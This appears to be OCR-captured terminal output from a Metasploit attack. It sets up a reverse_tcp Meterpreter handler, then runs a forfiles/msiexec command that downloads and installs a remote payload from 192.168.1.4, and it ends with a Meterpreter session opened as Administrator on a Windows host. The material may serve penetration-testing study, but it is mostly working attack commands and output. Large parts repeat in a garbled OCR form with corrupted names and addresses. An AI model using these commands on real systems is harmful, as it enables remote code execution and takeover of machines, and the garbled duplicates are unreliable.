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I msf exploit(multi/handler) > show options
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3 Module options (exploit/multi/handler):
4
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Name Current Setting Required Description

9 Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted:
none)

, seh, thread, proce

LHOST 192.168.1.4 yes The listen address (an interface may be specifi

LPORT 53 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53



msf exploit{multishandler} = show options

Module options (exploits/multishandler]):

Mame Current Setting Regquired Des

Payload options (wind: meterpreter/reve

Mame Current Setting Required Des

EX ITFIIr'-JI proce ] LA , seh, thread, process, nonel
LHOST 2. . ] e addr an 1ntFrTﬂcp may be specified]

LPORT 53

Exploit target:
Id Mame
0 Wildcard Target
msf exploit(multishandler} = exploit

[*] Started reverse TCP handler on 192.188.1.4:53
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forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i
http://192.168.1.4/Micropoor_rev_x86_msi_53.txt"

E:»>forfiles /p c:windowsssystemd2 -m cmd.exe Ac "mziexec.exe ~q ~i http:- 7192,

168.1 .4 MHicropoor_rev_xBb_msi_G3 . txt"

msf exploit(multi/handler) > exploit

*1 Started reverse TCP handler on 192.168.1.4:53
*] Sending stage (179779 bytes) to 192.168.1.119

*] Meterpreter session 15 opened (192.168.1.4:53 -> 192.168.1.119:133
1) at 2019-01-20 06:34:08 -0500

meterpreter > getuid



Server username: WINO3X64\Administrator
meterpreter > getpid
Current pid: 392

meterpreter >

msf exploit(multishandler) = exploit

nding stage ¥
[#] Meterpreter an 1 ned (1% .1.4:33 168, 1oat 2019-01-20 06 33 -0500

meterpre
Current pid:
meterpreter
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